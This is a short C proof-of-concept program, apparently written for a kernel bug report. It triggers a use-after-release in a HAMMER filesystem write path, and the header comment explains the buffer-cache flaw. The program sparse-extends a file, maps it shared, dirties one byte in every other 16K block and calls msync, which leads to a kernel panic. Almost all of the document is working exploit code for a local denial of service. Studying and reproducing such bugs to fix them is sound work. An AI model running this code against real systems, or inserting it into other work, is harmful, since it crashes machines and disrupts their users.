DF-3000 / op3000.c
/* * DF-3000 PoC: hammer_vop_write() UIO_NOCOPY path releases the buffer * (bqrelse) and then calls bread(&bp), which reuses the released pointer * (breadnx: "if (*bpp) bp = *bpp") instead of getblk()ing a locked buffer. * The write-out then hits bawrite()/bdwrite()/bwrite() with an unlocked * buffer -> panic("bawrite|bdwrite|bwrite: buffer is not busy"). * * UIO_NOCOPY writes come from vnode_pager_generic_putpages() (msync/pageout * of mmap'd files). The !B_CACHE branch fires when the 16K hammer block * covering the dirty page(s) is not fully valid in the buffer cache. * * Scenario A: fresh file extended by ftruncate, mmap MAP_SHARED, dirty one * byte per 16K block (only the covering 4K page becomes valid), * msync(MS_SYNC). * Scenario B: full write() + eviction pressure, then mmap+dirty+msync. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> #include <sys/stat.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000.bin"; size_t size = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0) : (1 << 20); setvbuf(stdout, NULL, _IONBF, 0); int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } /* sparse-extend: no data blocks read into the cache */ if (ftruncate(fd, size)) { perror("ftruncate"); return 1; } char *p = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (p == MAP_FAILED) { perror("mmap"); return 1; } /* dirty exactly one byte in the middle of every other 16K block: * the fault validates only the single 4K page -> the covering * 16K hammer buffer is not fully valid -> !B_CACHE in putpages */ for (size_t off = 8192; off < size; off += 2 * 16384) p[off] = (char)(off ^ 0x5a); printf("dirtying done, msync...\n"); if (msync(p, size, MS_SYNC)) printf("msync: %s\n", strerror(errno)); else printf("msync: OK\n"); munmap(p, size); close(fd); unlink(path); printf("done\n"); return 0; } |